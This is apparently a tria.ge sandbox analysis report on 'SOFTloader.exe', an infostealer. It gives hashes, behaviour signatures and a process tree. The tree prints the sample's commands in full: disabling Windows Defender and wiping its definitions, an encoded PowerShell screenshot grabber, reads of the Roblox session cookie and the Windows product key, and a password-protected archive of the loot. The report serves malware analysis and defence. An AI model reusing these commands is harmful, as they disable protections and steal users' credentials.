Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    3s
  • max time network
    10s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/10/2024, 16:09

General

  • Target

    SOFTloader.exe

  • Size

    7.4MB

  • MD5

    18805c0e1af582de6d201d6c0c649fc0

  • SHA1

    bb6d4ccb11fb0a2b490f319efefa62263ce9082c

  • SHA256

    c7b2ff08a1f644345f2449974a529ef5b88df0253837142cb612a7858ea600e0

  • SHA512

    c631d25887accf3974a1709534b5d30413684464ebc2bcee5a11426744c4adf150e3c32cfbd571741a9b342142f4a9ff17f98d669df8dad36ef68c8155714b79

  • SSDEEP

    196608:qr5BurErvI9pWjgyvoaYrE41JIuIqoxkF:GurEUWjdo/H1J9oGF

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • UPX packed file 40 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SOFTloader.exe
    "C:\Users\Admin\AppData\Local\Temp\SOFTloader.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2360
    • C:\Users\Admin\AppData\Local\Temp\SOFTloader.exe
      "C:\Users\Admin\AppData\Local\Temp\SOFTloader.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:3404
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SOFTloader.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3948
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SOFTloader.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2492
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2480
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4612
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‍‎ .scr'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:412
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‍‎ .scr'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4452
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4696
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4780
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5000
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3456
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2560
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4348
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kdgasvxm\kdgasvxm.cmdline"
            5⤵
              PID:3588
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9357.tmp" "c:\Users\Admin\AppData\Local\Temp\kdgasvxm\CSC58F926E72B4A4CFB875381F3924B312D.TMP"
                6⤵
                  PID:4036
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
            3⤵
              PID:4144
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                4⤵
                • Command and Scripting Interpreter: PowerShell
                PID:868
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
              3⤵
                PID:3444
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                  4⤵
                    PID:3488
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI23602\rar.exe a -r -hp"bober228" "C:\Users\Admin\AppData\Local\Temp\OIn8n.zip" *"
                  3⤵
                    PID:4608
                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\rar.exe
                      C:\Users\Admin\AppData\Local\Temp\_MEI23602\rar.exe a -r -hp"bober228" "C:\Users\Admin\AppData\Local\Temp\OIn8n.zip" *
                      4⤵
                        PID:1552
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                      3⤵
                        PID:1468
                        • C:\Windows\System32\Wbem\WMIC.exe
                          wmic os get Caption
                          4⤵
                            PID:4340
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                          3⤵
                            PID:2832
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic computersystem get totalphysicalmemory
                              4⤵
                                PID:3532
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                              3⤵
                                PID:1484
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic csproduct get uuid
                                  4⤵
                                    PID:1488
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                  3⤵
                                    PID:3676
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:5020
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                    3⤵
                                      PID:2060
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic path win32_VideoController get name
                                        4⤵
                                        • Detects videocard installed
                                        PID:5012
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                      3⤵
                                        PID:4404
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                          4⤵
                                            PID:2376

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                      Filesize

                                      2KB

                                      MD5

                                      d85ba6ff808d9e5444a4b369f5bc2730

                                      SHA1

                                      31aa9d96590fff6981b315e0b391b575e4c0804a

                                      SHA256

                                      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                      SHA512

                                      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                      Filesize

                                      944B

                                      MD5

                                      d28a889fd956d5cb3accfbaf1143eb6f

                                      SHA1

                                      157ba54b365341f8ff06707d996b3635da8446f7

                                      SHA256

                                      21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

                                      SHA512

                                      0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                      Filesize

                                      944B

                                      MD5

                                      cadef9abd087803c630df65264a6c81c

                                      SHA1

                                      babbf3636c347c8727c35f3eef2ee643dbcc4bd2

                                      SHA256

                                      cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

                                      SHA512

                                      7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                      Filesize

                                      280B

                                      MD5

                                      9c8c968e2415387ba427ef8df06c3cbe

                                      SHA1

                                      40b94898e31827b1bafc082eadb425b5f526a3a4

                                      SHA256

                                      8fc67ebb33aec5820867cffd474fb5ccb67d775d4a1e53633b8f5e9a98ccec2d

                                      SHA512

                                      3cd64f638353fe5f24780615752b8822e49bbbfe4416ce8aa5b7384b757532a0cf9b4f3190e01ce654133d4624d1c5e2881472be360b27fda99c3f6e603edccd

                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                      Filesize

                                      1KB

                                      MD5

                                      febd8247988dc951f04a0df142e81887

                                      SHA1

                                      6e31b5ac4c7aa2223ce3f3e905c148d0ed5ca557

                                      SHA256

                                      e165d7924bbeb53b228811a16661f817e25005ff587016d83503aef0f0ffcc96

                                      SHA512

                                      92e8eddec55553138d6710b855cd8a295d9953774fb707c237176de6fccdafc56ca97c77118b100b0437cf7ac18f25234d127c2dc01ccbdfac46ab64680c870a

                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                      Filesize

                                      1KB

                                      MD5

                                      08e2b6dc039d66a6bfa02fbaa9b86e1f

                                      SHA1

                                      1a45a88b900fc97183e50e3dd95deb5c086e2ca7

                                      SHA256

                                      13f0b2febb094f7d558d4325d06807162326f65290c90fa52fa1d3e4e4b35b14

                                      SHA512

                                      2e818787d6067890ec8586f9e4c2d459632e09c167749ff1b58fcaa273850b0ca61f0a468eda65a71358daa36a69ec7961b07cffe6ebcd7b8f79b2b796402891

                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                      Filesize

                                      64B

                                      MD5

                                      d04a2991e3807ca4a4073c023b2d20b3

                                      SHA1

                                      86aeb69fd3f1c1515feb18ed345191124735775f

                                      SHA256

                                      33cf5b77be962c1121404da98638346eaa2286b64e45ae71e3cb5e95671b000d

                                      SHA512

                                      90be20a64f603d7124a84e807d1dc5d6e36bc67caf6b9b282b2c918d1beb5b9f16abb4788dcc5a2df06ad1a6606c8929962962c3db51586cd00c976b7f79b8c5

                                    • C:\Users\Admin\AppData\Local\Temp\OIn8n.zip

                                      Filesize

                                      430KB

                                      MD5

                                      88b4d372732a9c6eac8d9d1ee3b71770

                                      SHA1

                                      bc56840e82349f2de67e50d3b8d99d9f88f7fbea

                                      SHA256

                                      26de7832c338bf09e8b46562eea7d50dfc4b3151e2ffd797417dd8d961ab75af

                                      SHA512

                                      f8d88596c911b0e9cbfbbbdbf0de0adbae6f18fc1683bd492e13b2eee97fb4064625b09115c66e38a5700e14078685d37fa776df221e6330496580314e9fa62c

                                    • C:\Users\Admin\AppData\Local\Temp\RES9357.tmp

                                      Filesize

                                      1KB

                                      MD5

                                      b788207e6aac0c0896a780fecec64c81

                                      SHA1

                                      91fa8b34ab6ad32f28f69c2f1cd324a368624a14

                                      SHA256

                                      3333972b2d9934b7b0d0a6607eab8aa8c475fef49f75c4f0bfc250741ef82f15

                                      SHA512

                                      3cbde682f98ff5583030ba39fedacaacc172dc0647c5137d948154bb172fd5ed8bcee714d8075e685a50d517f61bd665e5070e3a5a67596f4393fec39e8fc655

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\VCRUNTIME140.dll

                                      Filesize

                                      116KB

                                      MD5

                                      be8dbe2dc77ebe7f88f910c61aec691a

                                      SHA1

                                      a19f08bb2b1c1de5bb61daf9f2304531321e0e40

                                      SHA256

                                      4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83

                                      SHA512

                                      0da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\_bz2.pyd

                                      Filesize

                                      48KB

                                      MD5

                                      6c57219d7f69eee439d7609ab9cc09e7

                                      SHA1

                                      52e8abbc41d34aa82388b54b20925ea2fcca2af8

                                      SHA256

                                      8e389c056a6cf8877ddf09a1ae53d1a1b1de71a32b437d992ec8195c3c8eda92

                                      SHA512

                                      801f5b3f15e25f3be3f7ece512ffa561c97d43fff465e8fcb8afc92a94fd0bd3ec57c3e4df775beb1a6357064fad2be2ab6345bb8fe8c9b00674ade546bf6bc3

                                    • C:\Users\Admin\AppData\Local\Temp\_MEI23602\_ctypes.pyd

                                      Filesize

                                      58KB

                                      MD5

                                      ee77573f4335614fc1dc05e8753d06d9

                                      SHA1

                                      9c78e7ce0b93af940749295ec6221f85c04d6b76

                                      SHA256

                                      20bc81c1b70f741375751ae7c4a177a409b141bfcd32b4267975c67fc1b11e87

                                      SHA512

